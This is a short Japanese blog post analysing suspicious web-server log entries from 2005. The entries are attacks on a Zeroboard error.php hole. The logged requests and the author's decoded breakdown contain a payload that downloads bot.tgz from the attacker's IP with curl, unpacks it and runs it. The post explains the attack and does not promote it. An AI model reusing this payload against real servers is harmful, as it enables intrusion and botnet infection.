ゼロボードのセキュリティホールをついたアタック

　玄箱のWEBサーバに怪しげなログが残っていた。

211.253.183.58 - - [13/Oct/2005:14:35:44 +0900] "GET //bbs/skin/zero_vote/error.
php?dir=http://geocities.com/zamelmania/fbi.gif?&cmd=cd%20/tmp;curl%20-O%20http:
//211.253.183.58/bot.tgz;tar%20xzvf%20bot.tgz;cd%20bot;./start HTTP/1.1" 404 227
211.253.183.58 - - [13/Oct/2005:14:35:45 +0900] "GET /board/skin/zero_vote/error
.php?dir=http://geocities.com/zamelmania/fbi.gif?&cmd=cd%20/tmp;curl%20-O%20http
://211.253.183.58/bot.tgz;tar%20xzvf%20bot.tgz;cd%20bot;./start HTTP/1.1" 404 22
8
211.253.183.58 - - [13/Oct/2005:14:35:45 +0900] "GET /zboard/skin/zero_vote/erro
r.php?dir=http://geocities.com/zamelmania/fbi.gif?&cmd=cd%20/tmp;curl%20-O%20htt
p://211.253.183.58/bot.tgz;tar%20xzvf%20bot.tgz;cd%20bot;./start HTTP/1.1" 404 2
29
211.253.183.58 - - [13/Oct/2005:14:35:45 +0900] "GET /zeroboard/bbs/skin/zero_vo
te/error.php?dir=http://geocities.com/zamelmania/fbi.gif?&cmd=cd%20/tmp;curl%20-
O%20http://211.253.183.58/bot.tgz;tar%20xzvf%20bot.tgz;cd%20bot;./start HTTP/1.1
" 404 236

　このゼロボードとやら、どうやら韓国産の掲示板ソフトウェアのようだ。そこで、ゼロボードがおいてありそうなパスをかたっぱしから試しているといったところか。見た感じでは、error.phpに外部から指定したコマンドを実行してしまうセキュリティホールが存在しているように思える。つまり、cmdパラメータに書かれた文字列をコマンドとして実行してしまうという極めて簡単なセキュリティホールだ…。

そのコマンドは
cd /tmp
curl -O http://211.253.183.58/bot.tgz
tar xzvf bot.tgz
cd bot
./start
といった内容で構成されている。

きっとbot.tgzに、ゾンビＰＣ化させるスクリプトか何かが入っているのだろう。
まあ、玄箱にゼロボードなんて入ってないから関係ないけど。